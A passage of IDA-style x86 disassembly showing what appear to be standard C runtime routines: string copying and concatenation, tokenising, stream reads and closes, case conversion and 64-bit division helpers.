neg ecx add ecx, eax mov [ebp+var_8], ecx loc_414CDE: ; CODE XREF: sub_414B02+18Dj ; sub_414B02+19Cj ... test edx, edx jz short loc_414CE7 mov eax, [ebp+var_4] mov [edx], eax loc_414CE7: ; CODE XREF: sub_414B02+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_414CF5 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_414CF5: ; CODE XREF: sub_414B02+1E9j mov eax, [ebp+var_8] jmp short loc_414D05 ; --------------------------------------------------------------------------- loc_414CFA: ; CODE XREF: sub_414B02+66j ; sub_414B02+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_414D03 mov [eax], edi loc_414D03: ; CODE XREF: sub_414B02+1FDj xor eax, eax loc_414D05: ; CODE XREF: sub_414B02+1F6j pop edi pop esi pop ebx leave retn sub_414B02 endp ; =============== S U B R O U T I N E ======================================= sub_414D0A proc near ; CODE XREF: sub_4041D7+4BDp ; sub_40CC09+3306p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_414B02 add esp, 10h retn sub_414D0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D21 proc near ; CODE XREF: sub_4041D7+266p ; sub_4041D7+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_413E90 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_418BBD add esp, 10h leave retn sub_414D21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D55 proc near ; CODE XREF: sub_4041D7+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:off_41F100 lea eax, [ebp+var_20] push eax call ds:off_41F154 mov ax, [ebp+var_16] cmp ax, word_742222 jnz short loc_414DBA mov ax, [ebp+var_18] cmp ax, word_742220 jnz short loc_414DBA mov ax, [ebp+var_1A] cmp ax, word_74221E jnz short loc_414DBA mov ax, [ebp+var_1E] cmp ax, word_74221A jnz short loc_414DBA mov ax, [ebp+var_20] cmp ax, word_742218 jnz short loc_414DBA mov eax, dword_742210 jmp short loc_414DFF ; --------------------------------------------------------------------------- loc_414DBA: ; CODE XREF: sub_414D55+28j ; sub_414D55+35j ... lea eax, [ebp+var_CC] push eax call ds:off_41F150 cmp eax, 0FFFFFFFFh jz short loc_414DE7 cmp eax, 2 jnz short loc_414DE3 cmp [ebp+var_32], 0 jz short loc_414DE3 cmp [ebp+var_24], 0 jz short loc_414DE3 push 1 pop eax jmp short loc_414DEA ; --------------------------------------------------------------------------- loc_414DE3: ; CODE XREF: sub_414D55+7Aj ; sub_414D55+81j ... xor eax, eax jmp short loc_414DEA ; --------------------------------------------------------------------------- loc_414DE7: ; CODE XREF: sub_414D55+75j or eax, 0FFFFFFFFh loc_414DEA: ; CODE XREF: sub_414D55+8Cj ; sub_414D55+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_742218 movsd movsd movsd movsd pop edi mov dword_742210, eax pop esi loc_414DFF: ; CODE XREF: sub_414D55+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41966E mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_414E2F mov [ecx], eax locret_414E2F: ; CODE XREF: sub_414D55+D6j leave retn sub_414D55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414E31 proc near ; CODE XREF: sub_404857+7Cp ; sub_405A21+4B5p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_414E46 or eax, 0FFFFFFFFh jmp short loc_414E80 ; --------------------------------------------------------------------------- loc_414E46: ; CODE XREF: sub_414E31+Ej test al, 83h jz short loc_414E7E push esi call sub_419849 push esi mov edi, eax call sub_4197E3 push dword ptr [esi+10h] call sub_419730 add esp, 0Ch test eax, eax jge short loc_414E6C or edi, 0FFFFFFFFh jmp short loc_414E7E ; --------------------------------------------------------------------------- loc_414E6C: ; CODE XREF: sub_414E31+34j mov eax, [esi+1Ch] test eax, eax jz short loc_414E7E push eax call sub_413F7F and dword ptr [esi+1Ch], 0 pop ecx loc_414E7E: ; CODE XREF: sub_414E31+17j ; sub_414E31+39j ... mov eax, edi loc_414E80: ; CODE XREF: sub_414E31+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_414E31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E87 proc near ; CODE XREF: sub_404857+4Ep ; sub_405A21+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_414EAB xor eax, eax jmp loc_414F54 ; --------------------------------------------------------------------------- loc_414EAB: ; CODE XREF: sub_414E87+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_414EBE mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_414ECA ; --------------------------------------------------------------------------- loc_414EBE: ; CODE XREF: sub_414E87+2Dj mov [ebp+arg_C], 1000h jmp short loc_414ECA ; --------------------------------------------------------------------------- loc_414EC7: ; CODE XREF: sub_414E87+C4j mov ecx, [ebp+arg_0] loc_414ECA: ; CODE XREF: sub_414E87+35j ; sub_414E87+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_414EFC mov eax, [esi+4] test eax, eax jz short loc_414EFC cmp ecx, eax mov edi, ecx jb short loc_414EE1 mov edi, eax loc_414EE1: ; CODE XREF: sub_414E87+56j push edi push dword ptr [esi] push ebx call sub_4138F0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_414F47 ; --------------------------------------------------------------------------- loc_414EFC: ; CODE XREF: sub_414E87+49j ; sub_414E87+50j cmp ecx, [ebp+arg_C] jb short loc_414F2F cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_414F12 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_414F12: ; CODE XREF: sub_414E87+80j push eax push ebx push dword ptr [esi+10h] call sub_4199F4 add esp, 0Ch test eax, eax jz short loc_414F59 cmp eax, 0FFFFFFFFh jz short loc_414F5F sub [ebp+arg_0], eax add ebx, eax jmp short loc_414F47 ; --------------------------------------------------------------------------- loc_414F2F: ; CODE XREF: sub_414E87+78j push esi call sub_41991B cmp eax, 0FFFFFFFFh pop ecx jz short loc_414F63 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_414F47: ; CODE XREF: sub_414E87+73j ; sub_414E87+A6j cmp [ebp+arg_0], 0 jnz loc_414EC7 mov eax, [ebp+arg_8] loc_414F54: ; CODE XREF: sub_414E87+1Fj ; sub_414E87+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414F59: ; CODE XREF: sub_414E87+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_414F63 ; --------------------------------------------------------------------------- loc_414F5F: ; CODE XREF: sub_414E87+9Fj or dword ptr [esi+0Ch], 20h loc_414F63: ; CODE XREF: sub_414E87+B2j ; sub_414E87+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_414F54 sub_414E87 endp ; =============== S U B R O U T I N E ======================================= sub_414F6F proc near ; CODE XREF: sub_414F8F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_419D5A test eax, eax jnz short loc_414F79 retn ; --------------------------------------------------------------------------- loc_414F79: ; CODE XREF: sub_414F6F+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_419BEA add esp, 10h retn sub_414F6F endp ; =============== S U B R O U T I N E ======================================= sub_414F8F proc near ; CODE XREF: sub_404857+2Ap ; sub_405A21+134p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_414F6F add esp, 0Ch retn sub_414F8F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414FB0 proc near ; CODE XREF: sub_4048F1+2BFp ; sub_408296+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415021 sub_414FB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414FC0 proc near ; CODE XREF: sub_404ECE+15Dp ; sub_408296+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_414FDC loc_414FCD: ; CODE XREF: sub_414FC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41500F test ecx, 3 jnz short loc_414FCD loc_414FDC: ; CODE XREF: sub_414FC0+Bj ; sub_414FC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_414FDC mov eax, [ecx-4] test al, al jz short loc_41501E test ah, ah jz short loc_415019 test eax, 0FF0000h jz short loc_415014 test eax, 0FF000000h jz short loc_41500F jmp short loc_414FDC ; --------------------------------------------------------------------------- loc_41500F: ; CODE XREF: sub_414FC0+12j ; sub_414FC0+4Bj lea edi, [ecx-1] jmp short loc_415021 ; --------------------------------------------------------------------------- loc_415014: ; CODE XREF: sub_414FC0+44j lea edi, [ecx-2] jmp short loc_415021 ; --------------------------------------------------------------------------- loc_415019: ; CODE XREF: sub_414FC0+3Dj lea edi, [ecx-3] jmp short loc_415021 ; --------------------------------------------------------------------------- loc_41501E: ; CODE XREF: sub_414FC0+39j lea edi, [ecx-4] loc_415021: ; CODE XREF: sub_414FB0+5j ; sub_414FC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415046 loc_41502D: ; CODE XREF: sub_414FC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415098 mov [edi], dl inc edi test ecx, 3 jnz short loc_41502D jmp short loc_415046 ; --------------------------------------------------------------------------- loc_415041: ; CODE XREF: sub_414FC0+9Ej ; sub_414FC0+B8j mov [edi], edx add edi, 4 loc_415046: ; CODE XREF: sub_414FC0+6Bj ; sub_414FC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415041 test dl, dl jz short loc_415098 test dh, dh jz short loc_41508F test edx, 0FF0000h jz short loc_415082 test edx, 0FF000000h jz short loc_41507A jmp short loc_415041 ; --------------------------------------------------------------------------- loc_41507A: ; CODE XREF: sub_414FC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415082: ; CODE XREF: sub_414FC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41508F: ; CODE XREF: sub_414FC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415098: ; CODE XREF: sub_414FC0+72j ; sub_414FC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_414FC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150A0 proc near ; CODE XREF: sub_4048F1+2B2p ; sub_404ECE+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_4150B9: ; CODE XREF: sub_4150A0+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_4150B9 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4150E1 mov edx, dword_742228 loc_4150E1: ; CODE XREF: sub_4150A0+39j ; sub_4150A0+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_415101 test al, al jz short loc_415101 inc edx jmp short loc_4150E1 ; --------------------------------------------------------------------------- loc_415101: ; CODE XREF: sub_4150A0+58j ; sub_4150A0+5Cj mov ebx, edx loc_415103: ; CODE XREF: sub_4150A0+81j mov al, [edx] test al, al jz short loc_415127 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_415123 inc edx jmp short loc_415103 ; --------------------------------------------------------------------------- loc_415123: ; CODE XREF: sub_4150A0+7Ej and byte ptr [edx], 0 inc edx loc_415127: ; CODE XREF: sub_4150A0+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_742228, edx and eax, ebx pop ebx leave retn sub_4150A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415140 proc near ; CODE XREF: sub_40517E+1B4p ; sub_406059+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4151C3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_415164 shr ecx, 2 jnz short loc_4151D1 jmp short loc_415185 ; --------------------------------------------------------------------------- loc_415164: ; CODE XREF: sub_415140+1Bj ; sub_415140+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_415192 test al, al jz short loc_41519A test esi, 3 jnz short loc_415164 mov ebx, ecx shr ecx, 2 jnz short loc_4151D1 loc_415180: ; CODE XREF: sub_415140+8Fj and ebx, 3 jz short loc_415192 loc_415185: ; CODE XREF: sub_415140+22j ; sub_415140+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4151BE dec ebx jnz short loc_415185 loc_415192: ; CODE XREF: sub_415140+2Bj ; sub_415140+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41519A: ; CODE XREF: sub_415140+2Fj test edi, 3 jz short loc_4151B4 loc_4151A2: ; CODE XREF: sub_415140+72j mov [edi], al inc edi dec ecx jz loc_415236 test edi, 3 jnz short loc_4151A2 loc_4151B4: ; CODE XREF: sub_415140+60j mov ebx, ecx shr ecx, 2 jnz short loc_415227 loc_4151BB: ; CODE XREF: sub_415140+7Fj ; sub_415140+F4j mov [edi], al inc edi loc_4151BE: ; CODE XREF: sub_415140+4Dj dec ebx jnz short loc_4151BB pop ebx pop esi loc_4151C3: ; CODE XREF: sub_415140+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4151C9: ; CODE XREF: sub_415140+A9j ; sub_415140+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_415180 loc_4151D1: ; CODE XREF: sub_415140+20j ; sub_415140+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4151C9 test dl, dl jz short loc_41521B test dh, dh jz short loc_415211 test edx, 0FF0000h jz short loc_415207 test edx, 0FF000000h jnz short loc_4151C9 mov [edi], edx jmp short loc_41521F ; --------------------------------------------------------------------------- loc_415207: ; CODE XREF: sub_415140+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41521F ; --------------------------------------------------------------------------- loc_415211: ; CODE XREF: sub_415140+B1j and edx, 0FFh mov [edi], edx jmp short loc_41521F ; --------------------------------------------------------------------------- loc_41521B: ; CODE XREF: sub_415140+ADj xor edx, edx mov [edi], edx loc_41521F: ; CODE XREF: sub_415140+C5j ; sub_415140+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_415231 loc_415227: ; CODE XREF: sub_415140+79j xor eax, eax loc_415229: ; CODE XREF: sub_415140+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_415229 loc_415231: ; CODE XREF: sub_415140+E5j and ebx, 3 jnz short loc_4151BB loc_415236: ; CODE XREF: sub_415140+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_415140 endp ; =============== S U B R O U T I N E ======================================= sub_41523E proc near ; CODE XREF: sub_405A21+2E2p ; sub_405A21+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_4152BA mov edi, [esp+8+arg_8] test edi, edi jz short loc_41525D cmp edi, 1 jz short loc_41525D cmp edi, 2 jnz short loc_4152BA loc_41525D: ; CODE XREF: sub_41523E+13j ; sub_41523E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_415274 push esi call sub_419E6C add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_415274: ; CODE XREF: sub_41523E+27j push esi call sub_419849 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_415289 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41529D ; --------------------------------------------------------------------------- loc_415289: ; CODE XREF: sub_41523E+42j test al, 1 jz short loc_41529D test al, 8 jz short loc_41529D test ah, 4 jnz short loc_41529D mov dword ptr [esi+18h], 200h loc_41529D: ; CODE XREF: sub_41523E+49j ; sub_41523E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_419DD2 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_4152C7 ; --------------------------------------------------------------------------- loc_4152BA: ; CODE XREF: sub_41523E+Bj ; sub_41523E+1Dj mov dword_74222C, 16h or eax, 0FFFFFFFFh loc_4152C7: ; CODE XREF: sub_41523E+7Aj pop edi pop esi retn sub_41523E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152D0 proc near ; CODE XREF: sub_405A21+2ACp ; sub_405A21+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_415301 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4152FF jz short loc_415301 dec ecx dec ecx loc_4152FF: ; CODE XREF: sub_4152D0+29j not ecx loc_415301: ; CODE XREF: sub_4152D0+9j ; sub_4152D0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4152D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_405F18+5Cp ; sub_405F18+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_4153C4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41533A loc_41532B: ; CODE XREF: sub_415310+28j mov al, [edi] inc edi test al, al jz short loc_41536B test edi, 3 jnz short loc_41532B loc_41533A: ; CODE XREF: sub_415310+19j ; sub_415310+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41533A mov eax, [edi-4] test al, al jz short loc_415378 test ah, ah jz short loc_415373 test eax, 0FF0000h jz short loc_41536E test eax, 0FF000000h jnz short loc_41533A loc_41536B: ; CODE XREF: sub_415310+20j dec edi jmp short loc_41537B ; --------------------------------------------------------------------------- loc_41536E: ; CODE XREF: sub_415310+52j sub edi, 2 jmp short loc_41537B ; --------------------------------------------------------------------------- loc_415373: ; CODE XREF: sub_415310+4Bj sub edi, 3 jmp short loc_41537B ; --------------------------------------------------------------------------- loc_415378: ; CODE XREF: sub_415310+47j sub edi, 4 loc_41537B: ; CODE XREF: sub_415310+5Cj ; sub_415310+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_415390 mov ebx, ecx shr ecx, 2 jnz short loc_4153DC jmp short loc_4153AC ; --------------------------------------------------------------------------- loc_415390: ; CODE XREF: sub_415310+75j ; sub_415310+93j mov dl, [esi] inc esi test dl, dl jz short loc_4153CA mov [edi], dl inc edi dec ecx jz short loc_4153C0 test esi, 3 jnz short loc_415390 mov ebx, ecx shr ecx, 2 jnz short loc_4153DC loc_4153AC: ; CODE XREF: sub_415310+7Ej ; sub_415310+CAj mov ecx, ebx and ecx, 3 jz short loc_4153C0 loc_4153B3: ; CODE XREF: sub_415310+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_4153C2 dec ecx jnz short loc_4153B3 loc_4153C0: ; CODE XREF: sub_415310+8Bj ; sub_415310+A1j mov [edi], cl loc_4153C2: ; CODE XREF: sub_415310+ABj pop ebx pop esi loc_4153C4: ; CODE XREF: sub_415310+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4153CA: ; CODE XREF: sub_415310+85j ; sub_415310+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4153D4: ; CODE XREF: sub_415310+E4j ; sub_415310+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_4153AC loc_4153DC: ; CODE XREF: sub_415310+7Cj ; sub_415310+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4153D4 test dl, dl jz short loc_4153CA test dh, dh jz short loc_415428 test edx, 0FF0000h jz short loc_415418 test edx, 0FF000000h jnz short loc_4153D4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_415418: ; CODE XREF: sub_415310+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_415428: ; CODE XREF: sub_415310+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_415310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415440 proc near ; CODE XREF: sub_406059+2A2p ; sub_40CC09+2D74p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_415461 xor eax, eax jmp short loc_415463 ; --------------------------------------------------------------------------- loc_415461: ; CODE XREF: sub_415440+1Bj mov eax, edi loc_415463: ; CODE XREF: sub_415440+1Fj cld pop edi leave retn sub_415440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415467 proc near ; CODE XREF: sub_408410+6p ; sub_40842E+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_7422B4, 0 push ebx push esi push edi jnz short loc_415494 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41552D cmp eax, 5Ah jg loc_41552D add eax, 20h jmp loc_41552D ; --------------------------------------------------------------------------- loc_415494: ; CODE XREF: sub_415467+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4154C8 cmp dword_4379BC, esi jle short loc_4154B6 push esi push ebx call sub_41686F pop ecx pop ecx jmp short loc_4154C0 ; --------------------------------------------------------------------------- loc_4154B6: ; CODE XREF: sub_415467+42j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, esi loc_4154C0: ; CODE XREF: sub_415467+4Dj test eax, eax jnz short loc_4154C8 loc_4154C4: ; CODE XREF: sub_415467+ADj mov eax, ebx jmp short loc_41552D ; --------------------------------------------------------------------------- loc_4154C8: ; CODE XREF: sub_415467+3Aj ; sub_415467+5Bj mov edx, off_4377B0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4154EC and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4154F5 ; --------------------------------------------------------------------------- loc_4154EC: ; CODE XREF: sub_415467+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4154F5: ; CODE XREF: sub_415467+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_7422B4 call sub_419FC4 add esp, 20h test eax, eax jz short loc_4154C4 cmp eax, esi jnz short loc_415520 movzx eax, [ebp+var_4] jmp short loc_41552D ; --------------------------------------------------------------------------- loc_415520: ; CODE XREF: sub_415467+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41552D: ; CODE XREF: sub_415467+16j ; sub_415467+1Fj ... pop edi pop esi pop ebx leave retn sub_415467 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_40930B+3Dp ; sub_40A927+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_415561 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4155B1 ; --------------------------------------------------------------------------- loc_415561: ; CODE XREF: sub_415540+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41556F: ; CODE XREF: sub_415540+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41556F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41559A cmp edx, [esp+4+arg_4] ja short loc_41559A jb short loc_4155A2 cmp eax, [esp+4+arg_0] jbe short loc_4155A2 loc_41559A: ; CODE XREF: sub_415540+4Aj ; sub_415540+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4155A2: ; CODE XREF: sub_415540+52j ; sub_415540+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4155B1: ; CODE XREF: sub_415540+1Fj pop ebx retn 10h sub_415540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4155C0 proc near ; CODE XREF: sub_40930B+24p ; sub_40A927+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4155E2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_415623 ; --------------------------------------------------------------------------- loc_4155E2: ; CODE XREF: sub_4155C0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4155F0: ; CODE XREF: sub_4155C0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4155F0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41561E cmp edx, [esp+8+arg_4] ja short loc_41561E jb short loc_41561F cmp eax, [esp+8+arg_0] jbe short loc_41561F loc_41561E: ; CODE XREF: sub_4155C0+4Ej ; sub_4155C0+54j dec esi loc_41561F: ; CODE XREF: sub_4155C0+56j ; sub_4155C0+5Cj xor edx, edx mov eax, esi loc_415623: ; CODE XREF: sub_4155C0+20j pop esi pop ebx retn 10h sub_4155C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 